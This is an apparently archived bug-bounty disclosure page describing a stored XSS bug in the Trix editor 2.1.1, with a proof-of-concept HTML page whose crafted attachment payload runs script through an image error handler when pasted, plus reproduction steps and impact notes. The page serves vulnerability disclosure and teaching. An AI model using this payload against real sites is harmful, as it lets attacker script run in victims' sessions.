Skip to content
XSS Disclosed report Intermediate CVE-2024-34341

Stored XSS on trix editor version 2.1.1

The Trix rich-text editor failed to properly sanitise HTML pasted into it, so a crafted attachment payload containing an image with an error handler ran script in the page. An attacker could get JavaScript to execute in a victim's session, potentially performing unauthorised actions or disclosing sensitive information.

thwin_htet Follow

Originally disclosed on HackerOne

Bounty$1,000 High 8.1 View original
  • Triaged in 3 days
  • Fixed in 3 months
  • Paid in 3 days
  • Disclosed after 5 months

The Trix editor is vulnerable to arbitrary code execution when copying and pasting content from the web or other documents with markup into the editor. The vulnerability stems from improper sanitization of pasted content, allowing an attacker to embed malicious scripts which are executed within the context of the application.

Vulnerable Version

2.1.1

Steps to Reproduce

  1. Run this HTML code on browser.
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Trix Editor XSS Demo</title>
  <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.umd.min.js"></script>
  <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.min.css" rel="stylesheet">
</head>
<body>
  <h1>Trix Editor XSS Demo</h1>
  <trix-editor></trix-editor>
  <script>
  document.write(`copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html5&quot;,&quot;content&quot;:&quot;&lt;img src=1 onerror=alert(document.domain)&gt;XSS POC&quot;}"></div>me`);
  </script>
</body>
</html>
  1. Click copy me and paste it in trix editor.
image.png
image.png From the original on HackerOne
  1. Alert will pop up.

This could be a bypass of recent Trix Editor CVE : CVE-2024-34341 Ref : https://github.com/basecamp/trix/security/advisories/GHSA-qjqp-xr96-cj99

Impact

An attacker could exploit these vulnerabilities to execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed.

The original report as published on HackerOne, by thwin_htet. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the editor's paste handling accepted a data-trix-attachment attribute containing HTML and inserted it without sanitising the embedded markup.

Impact

An attacker could execute arbitrary JavaScript in the context of the user's session, potentially leading to unauthorised actions or disclosure of sensitive information.

What the attacker needed

Victim copies attacker-crafted content; victim pastes it into Trix editor

How it was found

  1. Open a local HTML page that loads the vulnerable Trix editor and writes a crafted element into the page.
  2. Select the text labelled 'copy me' and copy it.
  3. Paste the copied content into the Trix editor.
  4. Observe the alert firing, showing script execution.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A rich-text editor accepts content copied from other pages. Here it trusted that copied content too much, so embedded markup ran as code in the browser. This is cross-site scripting, and it could let an attacker act in the user's session.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Basecamp

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.